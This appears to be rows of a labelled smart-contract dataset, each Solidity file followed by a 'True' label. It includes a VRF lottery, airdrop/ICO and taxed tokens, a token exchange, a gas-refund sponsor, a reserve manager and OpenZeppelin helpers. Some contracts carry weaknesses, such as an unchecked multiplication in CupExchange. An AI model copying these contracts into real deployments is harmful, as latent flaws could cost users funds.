* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(
bytes32 requestId,
uint256 randomness
)
internal
virtual;
/**
* @dev In order to keep backwards compatibility we have kept the user
* seed field around. We remove the use of it because given that the blockhash
* enters later, it overrides whatever randomness the used seed provides.
* Given that it adds no security, and can easily lead to misunderstandings,
* we have removed it from usage and can now provide a simpler API.
*/
uint256 constant private USER_SEED_PLACEHOLDER = 0;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(
bytes32 _keyHash,
uint256 _fee
)
internal
returns (
bytes32 requestId
)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash] + 1;
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(
address _vrfCoordinator,
address _link
) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(
bytes32 requestId,
uint256 randomness
)
external
{
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// File contracts/Lottery.sol
abstract contract FirstContract {
function tokenByIndex(uint256 index) public view virtual returns (uint256);
}
contract Lottery is VRFConsumerBase {
address private _owner;
uint256 public seed;
bytes32 internal keyHash;
uint256 internal fee;
modifier requireAdmin() {
require(_owner == msg.sender, "Requires admin privileges");
_;
}
/**
* Constructor inherits VRFConsumerBase
*
* Network: Mainnet
* Chainlink VRF Coordinator address: 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952
* LINK token address: 0x514910771AF9Ca656af840dff83E8264EcF986CA
* Key Hash: 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445
*/
constructor()
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
) {
_owner = msg.sender;
keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
fee = 2 * 10 ** 18; // 2 LINK (Varies by network)
}
function owner() public view virtual returns (address) {
return _owner;
}
function getLinkBalance() public view returns (uint256) {
return(LINK.balanceOf(address(this)));
}
//roll() can only be called once
function roll() public requireAdmin {
require(seed==0, "Already rolled");
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");
bytes32 requestId = requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 r) internal override {
seed = r;
}
function first_index_lookup(uint256 i) public view returns (uint256) {
FirstContract first = FirstContract(0xc9Cb0FEe73f060Db66D2693D92d75c825B1afdbF);
return first.tokenByIndex(i);
}
// Function returns pseudorandom sequence of numbers between 0 and 221.
// The first 19 unique return values corresponding to registered token IDs will be winners
function lottery_deafbeef(uint256 j) public view returns (uint256) {
return random(j,222);
}
// First contract has 5000 token IDs spread out in the range between 0 and 999999
// Function returns pseudorandom sequence of numbers between 0 and 4999.
// First contract tokenByIndex() is called to map this to an actual token ID.
//The first 2 unique return values corresponding to registered token IDs will be winners.
function lottery_first(uint256 j) public view returns (uint256) {
uint256 i = random(j,5000);
return first_index_lookup(i);
}
//returns the jth entry in the pseudorandom sequence seeded by vrf
function random(uint256 j,uint256 mod) public view returns (uint256) {
require(seed > 0,"PRNG has not yet been seeded via Chainlink VRF");
uint256 r = seed;
for (uint i=0;i<j;i++) {
unchecked {
r = r * 16807 % 2147483647;
}
}
return r % mod;
}
}
|
True
|
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pragma solidity ^0.4.19;
contract BaseToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract AirdropToken is BaseToken {
uint256 public airAmount;
uint256 public airBegintime;
uint256 public airEndtime;
address public airSender;
uint32 public airLimitCount;
mapping (address => uint32) public airCountOf;
event Airdrop(address indexed from, uint32 indexed count, uint256 tokenValue);
function airdrop() public payable {
require(now >= airBegintime && now <= airEndtime);
require(msg.value == 0);
if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) {
revert();
}
_transfer(airSender, msg.sender, airAmount);
airCountOf[msg.sender] += 1;
Airdrop(msg.sender, airCountOf[msg.sender], airAmount);
}
}
contract ICOToken is BaseToken {
// 1 ether = icoRatio token
uint256 public icoRatio;
uint256 public icoBegintime;
uint256 public icoEndtime;
address public icoSender;
address public icoHolder;
event ICO(address indexed from, uint256 indexed value, uint256 tokenValue);
event Withdraw(address indexed from, address indexed holder, uint256 value);
function ico() public payable {
require(now >= icoBegintime && now <= icoEndtime);
uint256 tokenValue = (msg.value * icoRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei);
if (tokenValue == 0 || balanceOf[icoSender] < tokenValue) {
revert();
}
_transfer(icoSender, msg.sender, tokenValue);
ICO(msg.sender, msg.value, tokenValue);
}
function withdraw() public {
uint256 balance = this.balance;
icoHolder.transfer(balance);
Withdraw(msg.sender, icoHolder, balance);
}
}
contract CustomToken is BaseToken, AirdropToken, ICOToken {
function CustomToken() public {
totalSupply = 12000000000000000000000000000;
name = 'Fantasy';
symbol = 'FT';
decimals = 18;
balanceOf[0xa06ea172c01d7551d66f0df294eabd8d6c5822be] = totalSupply;
Transfer(address(0), 0xa06ea172c01d7551d66f0df294eabd8d6c5822be, totalSupply);
airAmount = 5000000000000000000000;
airBegintime = 1520312400;
airEndtime = 1609390800;
airSender = 0xa06ea172c01d7551d66f0df294eabd8d6c5822be;
airLimitCount = 1;
icoRatio = 200000;
icoBegintime = 1520312400;
icoEndtime = 1924923600;
icoSender = 0xa06ea172c01d7551d66f0df294eabd8d6c5822be;
icoHolder = 0xa06ea172c01d7551d66f0df294eabd8d6c5822be;
}
function() public payable {
if (msg.value == 0) {
airdrop();
} else {
ico();
}
}
}
|
True
|
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pragma solidity ^0.4.21;
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/cupExchange/CupExchange.sol
interface token {
function transfer(address receiver, uint amount) external returns(bool);
function transferFrom(address from, address to, uint amount) external returns(bool);
function allowance(address owner, address spender) external returns(uint256);
function balanceOf(address owner) external returns(uint256);
}
contract CupExchange {
using SafeMath for uint256;
using SafeMath for int256;
address public owner;
token internal teamCup;
token internal cup;
uint256 public exchangePrice; // with decimals
bool public halting = true;
event Halted(bool halting);
event Exchange(address user, uint256 distributedAmount, uint256 collectedAmount);
/**
* Constructor function
*
* Setup the contract owner
*/
constructor(address cupToken, address teamCupToken) public {
owner = msg.sender;
teamCup = token(teamCupToken);
cup = token(cupToken);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* User exchange for team cup
*/
function exchange() public {
require(msg.sender != address(0x0));
require(msg.sender != address(this));
require(!halting);
// collect cup token
uint256 allowance = cup.allowance(msg.sender, this);
require(allowance > 0);
require(cup.transferFrom(msg.sender, this, allowance));
// transfer team cup token
uint256 teamCupBalance = teamCup.balanceOf(address(this));
uint256 teamCupAmount = allowance * exchangePrice;
require(teamCupAmount <= teamCupBalance);
require(teamCup.transfer(msg.sender, teamCupAmount));
emit Exchange(msg.sender, teamCupAmount, allowance);
}
/**
* Withdraw the funds
*/
function safeWithdrawal(address safeAddress) public onlyOwner {
require(safeAddress != address(0x0));
require(safeAddress != address(this));
uint256 balance = teamCup.balanceOf(address(this));
teamCup.transfer(safeAddress, balance);
}
/**
* Set finalPriceForThisCoin
*/
function setExchangePrice(int256 price) public onlyOwner {
require(price > 0);
exchangePrice = uint256(price);
}
function halt() public onlyOwner {
halting = true;
emit Halted(halting);
}
function unhalt() public onlyOwner {
halting = false;
emit Halted(halting);
}
}
// File: contracts/cupExchange/cupExchangeImpl/ARCupExchange.sol
contract ARCupExchange is CupExchange {
address public cup = 0x0750167667190A7Cd06a1e2dBDd4006eD5b522Cc;
address public teamCup = 0x7997B885b2e6445FCf8965100db83d53b8872433;
constructor() CupExchange(cup, teamCup) public {}
}
|
True
|
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/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
.*/
pragma solidity ^0.4.21;
import "./EIP20Interface.sol";
library SafeMath {
//乘法
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
//assert断言函数，需要保证函数参数返回值是true，否则抛异常
assert(a == 0 || c / a == b);
return c;
}
//除法
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
//减法
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract EIP20 is EIP20Interface {
using SafeMath for uint256;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
//发行者
address public owner;
function EIP20(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
owner = msg.sender;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
uint256 taxValue = SafeMath.safeDiv(_value, 100);
uint256 realValue = SafeMath.safeSub(_value, taxValue);
balances[msg.sender] = SafeMath.safeSub(balances[msg.sender], _value); // Subtract from the sender
balances[_to] = SafeMath.safeAdd(balances[_to], realValue); // Add the same to the recipient
balances[owner] = SafeMath.safeAdd(balances[owner], taxValue);
emit Transfer(msg.sender, owner, taxValue);
emit Transfer(msg.sender, _to, realValue);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
uint256 taxValue = SafeMath.safeDiv(_value, 100);
uint256 realValue = SafeMath.safeSub(_value, taxValue);
balances[_from] = SafeMath.safeSub(balances[_from], _value); // Subtract from the sender
balances[_to] = SafeMath.safeAdd(balances[_to], realValue); // Add the same to the recipient
balances[owner] = SafeMath.safeAdd(balances[owner], taxValue);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, owner, taxValue);
emit Transfer(_from, _to, realValue);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
|
True
|
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// SPDX-License-Identifier: --GRISE--
pragma solidity =0.7.6;
contract RefundSponsor {
address public refundSponsor;
address public sponsoredContract;
bool public isPaused;
uint256 public flushNonce;
mapping (bytes32 => uint256) public refundAmount;
mapping (address => uint256) public sponsoredAmount;
event RefundIssued(
address refundedTo,
uint256 amount
);
event RemainTransferred(
address transferTo,
uint256 amount
);
event SponsoredContribution(
address sponsor,
uint256 amount
);
modifier onlySponsor() {
require(
msg.sender == refundSponsor,
'RefundSponsor: not a sponsor'
);
_;
}
receive()
external
payable
{
sponsoredAmount[msg.sender] += msg.value;
emit SponsoredContribution(
msg.sender,
msg.value
);
}
constructor() {
refundSponsor = msg.sender;
}
function setSponsoredContract(address _s)
onlySponsor
external
{
sponsoredContract = _s;
}
function addGasRefund(address _a, uint256 _g)
external
{
if (msg.sender == sponsoredContract && isPaused == false) {
refundAmount[getHash(_a)] += _g;
}
}
function setGasRefund(address _a, uint256 _g)
external
onlySponsor
{
refundAmount[getHash(_a)] = _g;
}
function requestGasRefund()
external
{
require(
isPaused == false,
'RefundSponsor: refunds paused'
);
bytes32 sender = getHash(msg.sender);
require(
refundAmount[sender] > 0,
'RefundSponsor: nothing to refund'
);
uint256 amount = getRefundAmount(msg.sender);
refundAmount[sender] = 0;
msg.sender.transfer(amount);
emit RefundIssued(
msg.sender,
amount
);
}
function myRefundAmount()
external
view
returns (uint256)
{
return getRefundAmount(msg.sender);
}
function getRefundAmount(address x)
public
view
returns (uint256)
{
return refundAmount[getHash(x)];
}
function getHash(address x)
public
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(x, flushNonce)
);
}
function pause()
external
onlySponsor
{
isPaused = true;
}
function resume()
external
onlySponsor
{
isPaused = false;
}
function flush()
external
onlySponsor
{
flushNonce += 1;
}
function transferRemainingSponsoredAmount(uint _amount)
external
payable
onlySponsor
returns (uint256 amount)
{
amount = (_amount > 0) ?
_amount:
address(this).balance;
(bool success, ) = refundSponsor.call{ value: amount }("Remaining Sponsored Amount");
require(success, "tx failed");
emit RemainTransferred(
msg.sender,
amount
);
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IComptroller.sol";
import "./interfaces/ICToken.sol";
import "./interfaces/ICTokenAdmin.sol";
import "./interfaces/IBurner.sol";
import "./interfaces/IWeth.sol";
contract ReserveManager is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint public constant COOLDOWN_PERIOD = 1 days;
address public constant ethAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @notice comptroller contract
*/
IComptroller public immutable comptroller;
/**
* @notice usdc burner contract
*/
IBurner public immutable usdcBurner;
/**
* @notice weth contract
*/
address public immutable wethAddress;
/**
* @notice usdc contract
*/
address public immutable usdcAddress;
/**
* @notice the extraction ratio, scaled by 1e18
*/
uint public ratio = 0.5e18;
/**
* @notice cToken admin to extract reserves
*/
mapping(address => address) public cTokenAdmins;
/**
* @notice burner contracts to convert assets into a specific token
*/
mapping(address => address) public burners;
struct ReservesSnapshot {
uint timestamp;
uint totalReserves;
}
/**
* @notice reserves snapshot that records every reserves update
*/
mapping(address => ReservesSnapshot) public reservesSnapshot;
/**
* @notice return if a cToken market is blocked from reserves sharing
*/
mapping(address => bool) public isBlocked;
/**
* @notice return if a cToken market should be burnt manually
*/
mapping(address => bool) public manualBurn;
/**
* @notice a manual burner that reseives assets whose onchain liquidity are not deep enough
*/
address public manualBurner;
/**
* @notice Emitted when reserves are dispatched
*/
event Dispatch(
address indexed token,
uint indexed amount,
address destination
);
/**
* @notice Emitted when a cTokenAdmin is updated
*/
event CTokenAdminUpdated(
address cToken,
address oldAdmin,
address newAdmin
);
/**
* @notice Emitted when a cToken's burner is updated
*/
event BurnerUpdated(
address cToken,
address oldBurner,
address newBurner
);
/**
* @notice Emitted when the reserves extraction ratio is updated
*/
event RatioUpdated(
uint oldRatio,
uint newRatio
);
/**
* @notice Emitted when a token is seized
*/
event TokenSeized(
address token,
uint amount
);
/**
* @notice Emitted when a cToken market is blocked or unblocked from reserves sharing
*/
event MarketBlocked(
address cToken,
bool wasBlocked,
bool isBlocked
);
/**
* @notice Emitted when a cToken market is determined to be manually burnt or not
*/
event MarketManualBurn(
address cToken,
bool wasManual,
bool isManual
);
/**
* @notice Emitted when a manual burner is updated
*/
event ManualBurnerUpdated(
address oldManualBurner,
address newManualBurner
);
constructor(
address _owner,
address _manualBurner,
IComptroller _comptroller,
IBurner _usdcBurner,
address _wethAddress,
address _usdcAddress
) {
transferOwnership(_owner);
manualBurner = _manualBurner;
comptroller = _comptroller;
usdcBurner = _usdcBurner;
wethAddress = _wethAddress;
usdcAddress = _usdcAddress;
// Set default ratio to 50%.
ratio = 0.5e18;
}
/**
* @notice Get the current block timestamp
* @return The current block timestamp
*/
function getBlockTimestamp() public virtual view returns (uint) {
return block.timestamp;
}
/**
* @notice Execute reduce reserve and burn on multiple cTokens
* @param cTokens The token address list
*/
function dispatchMultiple(address[] memory cTokens) external nonReentrant {
for (uint i = 0; i < cTokens.length; i++) {
dispatch(cTokens[i], true);
}
IBurner(usdcBurner).burn(usdcAddress);
}
receive() external payable {}
/* Admin functions */
/**
* @notice Seize the accidentally deposited tokens
* @param token The token
* @param amount The amount
*/
function seize(address token, uint amount) external onlyOwner {
if (token == ethAddress) {
payable(owner()).transfer(amount);
} else {
IERC20(token).safeTransfer(owner(), amount);
}
emit TokenSeized(token, amount);
}
/**
* @notice Block or unblock a cToken from reserves sharing
* @param cTokens The cToken address list
* @param blocked Block from reserves sharing or not
*/
function setBlocked(address[] memory cTokens, bool[] memory blocked) external onlyOwner {
require(cTokens.length == blocked.length, "invalid data");
for (uint i = 0; i < cTokens.length; i++) {
bool wasBlocked = isBlocked[cTokens[i]];
isBlocked[cTokens[i]] = blocked[i];
emit MarketBlocked(cTokens[i], wasBlocked, blocked[i]);
}
}
/**
* @notice Set the admins of a list of cTokens
* @param cTokens The cToken address list
* @param newCTokenAdmins The admin address list
*/
function setCTokenAdmins(address[] memory cTokens, address[] memory newCTokenAdmins) external onlyOwner {
require(cTokens.length == newCTokenAdmins.length, "invalid data");
for (uint i = 0; i < cTokens.length; i++) {
require(comptroller.isMarketListed(cTokens[i]), "market not listed");
require(ICToken(cTokens[i]).admin() == newCTokenAdmins[i], "mismatch cToken admin");
address oldAdmin = cTokenAdmins[cTokens[i]];
cTokenAdmins[cTokens[i]] = newCTokenAdmins[i];
emit CTokenAdminUpdated(cTokens[i], oldAdmin, newCTokenAdmins[i]);
}
}
/**
* @notice Set the burners of a list of tokens
* @param cTokens The cToken address list
* @param newBurners The burner address list
*/
function setBurners(address[] memory cTokens, address[] memory newBurners) external onlyOwner {
require(cTokens.length == newBurners.length, "invalid data");
for (uint i = 0; i < cTokens.length; i++) {
address oldBurner = burners[cTokens[i]];
burners[cTokens[i]] = newBurners[i];
emit BurnerUpdated(cTokens[i], oldBurner, newBurners[i]);
}
}
/**
* @notice Determine a market should be burnt manually or not
* @param cTokens The cToken address list
* @param manual The list of markets which should be burnt manually or not
*/
function setManualBurn(address[] memory cTokens, bool[] memory manual) external onlyOwner {
require(cTokens.length == manual.length, "invalid data");
for (uint i = 0; i < cTokens.length; i++) {
bool wasManual = manualBurn[cTokens[i]];
manualBurn[cTokens[i]] = manual[i];
emit MarketManualBurn(cTokens[i], wasManual, manual[i]);
}
}
/**
* @notice Set new manual burner
* @param newManualBurner The new manual burner
*/
function setManualBurner(address newManualBurner) external onlyOwner {
require(newManualBurner != address(0), "invalid new manual burner");
address oldManualBurner = manualBurner;
manualBurner = newManualBurner;
emit ManualBurnerUpdated(oldManualBurner, newManualBurner);
}
/**
* @notice Adjust the extraction ratio
* @param newRatio The new extraction ratio
*/
function adjustRatio(uint newRatio) external onlyOwner {
require(newRatio <= 1e18, "invalid ratio");
uint oldRatio = ratio;
ratio = newRatio;
emit RatioUpdated(oldRatio, newRatio);
}
/* Internal functions */
/**
* @notice Compare whether the two strings are the same
* @param a The first string
* @param b The second string
* @return Two strings are the same or not
*/
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
/**
* @notice Execute reduce reserve for cToken
* @param cToken The cToken to dispatch reduce reserve operation
* @param batchJob indicate whether this function call is within a multiple cToken batch job
*/
function dispatch(address cToken, bool batchJob) internal {
require(!isBlocked[cToken], "market is blocked from reserves sharing");
require(comptroller.isMarketListed(cToken), "market not listed");
uint totalReserves = ICToken(cToken).totalReserves();
ReservesSnapshot memory snapshot = reservesSnapshot[cToken];
if (snapshot.timestamp > 0 && snapshot.totalReserves < totalReserves) {
address cTokenAdmin = cTokenAdmins[cToken];
require(cTokenAdmin == ICToken(cToken).admin(), "mismatch cToken admin");
require(snapshot.timestamp + COOLDOWN_PERIOD <= getBlockTimestamp(), "still in the cooldown period");
// Extract reserves through cTokenAdmin.
uint reduceAmount = (totalReserves - snapshot.totalReserves) * ratio / 1e18;
ICTokenAdmin(cTokenAdmin).extractReserves(cToken, reduceAmount);
// After the extraction, the reserves in cToken should decrease.
// Instead of getting reserves from cToken again, we subtract `totalReserves` with `reduceAmount` to save gas.
totalReserves = totalReserves - reduceAmount;
// Get the cToken underlying.
address underlying;
if (compareStrings(ICToken(cToken).symbol(), "crETH")) {
IWeth(wethAddress).deposit{value: reduceAmount}();
underlying = wethAddress;
} else {
underlying = ICToken(cToken).underlying();
}
// In case someone transfers tokens in directly, which will cause the dispatch reverted,
// we burn all the tokens in the contract here.
uint burnAmount = IERC20(underlying).balanceOf(address(this));
address burner = burners[cToken];
if (manualBurn[cToken]) {
// Send the underlying to the manual burner.
burner = manualBurner;
IERC20(underlying).safeTransfer(manualBurner, burnAmount);
} else {
// Allow the corresponding burner to pull the assets to burn.
require(burner != address(0), "burner not set");
IERC20(underlying).approve(burner, burnAmount);
require(IBurner(burner).burn(underlying), "Burner failed to burn the underlying token");
}
emit Dispatch(underlying, burnAmount, burner);
}
// Update the reserve snapshot.
reservesSnapshot[cToken] = ReservesSnapshot({
timestamp: getBlockTimestamp(),
totalReserves: totalReserves
});
// A standalone reduce-reserve operation followed by a final USDC burn
if (!batchJob){
IBurner(usdcBurner).burn(usdcAddress);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
